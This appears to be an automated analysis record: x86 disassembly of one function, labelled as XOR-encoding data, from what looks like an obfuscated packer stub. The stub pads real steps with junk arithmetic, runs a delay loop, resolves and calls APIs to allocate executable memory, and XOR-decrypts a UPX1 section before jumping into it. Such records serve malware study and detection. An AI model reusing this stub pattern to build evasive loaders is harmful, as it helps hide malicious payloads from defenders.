Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xd117ba09
inc edi
not edi
add edi, edi
popal
sub edi, ecx
and ecx, ecx
inc edi
mov esi, 0
mov edx, ecx
sub ebx, 0xab842e6d
sub ebx, 0xffe59b0c
mov edi, edx
mov ebx, eax
sub ebx, eax
mov ecx, edi
or eax, ebx
add eax, 0x571ac593
inc esi
sub ebx, 0xc0c2e9a6
inc eax
cmp esi, 0x1005efe
jne 0xa789c2
dec ebx
not ebx
and ebx, ebx
dec edi
or ecx, ecx
mov ecx, 0xa78796
sub ebx, 0xb73025f9
add ebx, edx
mov ebx, 0x6c9d7316
mov edi, 0xa7898a
or ebx, edx
or ebx, ebx
add esi, 0xb3366785
mov eax, dword [ecx]
or esi, esi
inc ebx
and eax, 0xff
inc esi
add ebx, 0xd94590d6
xor dword [edi], eax
and esi, ebx
and ebx, edx
inc edi
inc ebx
or esi, esi
add edx, 1
inc ecx
add ebx, 0xf7c57cab
dec esi
add esi, edx
cmp edi, entry0
jl 0xa78a1d
sub esi, 0xa950dd52
inc esi
mov ebx, 0x7e29ff
add esi, ebx
mov edi, 0x1d29d5b4
add edi, esi
mov edx, 0xa7898e
inc ebx
mov edi, ebx
add ebx, ecx
mov edx, dword [edx]
or esi, esi
sub edi, 0x165aa501
mov edx, dword [edx]
mov esi, ecx
inc ebx
push edx
inc edi
not ecx
add ebx, 0xe0151a09
mov edx, 0xa7898a
mov ebx, 0x9f8cb881
mov edi, ebx
mov edx, dword [edx]
mov ecx, esi
inc edi
mov edx, dword [edx]
add esi, 0xca2a8053
and ecx, ebx
add esi, 1
push 0xa78992
add edi, 0xe7089710
and esi, ecx
and esi, esi
call edx
sub esi, edi
sub ebx, ecx
dec ecx
pop edx
sub ebx, 1
add ebx, 0x8ae95fde
inc ebx
push 0xa7899f
add esi, ebx
sub edi, esi
push eax
mov edi, ecx
dec ebx
call edx
inc edi
inc edi
inc ebx
push 0x40
sub ecx, 0xeee9ec06
add edi, esi
push 0x3000
not esi
add ecx, 0xc36888fd
or ecx, esi
sub esp, 4
mov dword [esp], 0x20000509
or edi, ecx
sub esi, 0xca8f6e70
add esi, esi
push 0
inc edi
or ecx, edi
add esi, ecx
call eax
and edi, ebx
inc edi
or esi, edi
add eax, 0x20000494
dec ecx
mov esi, ecx
mov edx, 0xc7f7e5a0
not ebx
dec ecx
mov dword [eax], edx
or esi, edi
dec ecx
mov ecx, edi
mov edx, dword [eax]
dec edi
add esi, 0x63e11eb8
cmp edx, 0xc7f7e5a0
je 0xa78b55
mov eax, 0
mov dword [eax], ebx
mov edi, ecx
and ecx, ecx
and edi, esi
mov ebx, ecx
add edi, 0xe5e65b87
mov ecx, 0xd0d0a4ad
mov ecx, 0xefd1a947
mov esi, section.UPX1
add ecx, 0x296a0287
mov edi, ecx
add edi, ecx
mov eax, 0xa78795
sub edi, ecx
mov ecx, 0xa2cce066
add edi, 0x46848320
mov ebx, 0
not edi
not edi
mov edx, 0xa78796
dec ecx
dec edi
lea edx, [ebx + edx]
and edi, ecx
not ecx
not ecx
mov edx, dword [edx]
inc ecx
mov edi, 0x7c0b96a
and edx, 0xff
sub ecx, 0x8cd91fc3
sub edi, ecx
add ecx, edi
inc ebx
not ecx
sub ecx, edi
or ecx, ecx
cmp ebx, 0x1f4
jne 0xa78bd3
mov ebx, 0
add ecx, 0xe6e5af34
sub ecx, 0xbcd9e8c2
mov edi, 0x1baff063
or edi, edi
xor dword [esi], edx
mov edi, ecx
and edi, edi
inc edi
add esi, 2
add ecx, 0x669ff6df
add edi, 1
cmp esi, eax
jl 0xa78b97
sub ecx, edi
add edi, 0x5618ea27
and edi, ecx
or edi, edi
sub edi, 1
mov ebx, section.UPX1
not edx
mov esi, 0x56410637
sub esi, 0xf12145e7
mov eax, section.UPX1
mov edx, esi
dec esi
mov edi, 0xa78795
add esi, esi
add edx, 0x7e06f906
mov ecx, 0
add esi, edx
sub edx, 0x7b7e8bdf
mov cl, byte [eax]
add edx, 0x9cf3aa2b
add esi, edx
mov esi, 0xa898a438
mov byte [ebx], cl
mov edx, esi
and esi, esi
add ebx, 1
sub esi, 0x44afe58a
and edx, esi
add eax, 2
mov edx, esi
add esi, 0xac13bd6
cmp eax, edi
jle 0xa78c4d
sub edx, 0x6151ad2
add edx, 0x90f43ac5
mov edi, 0x2d871428
add edi, 1
sub esp, 4
mov dword [esp], 0x8dc6a0
and edi, ecx
inc edi
ret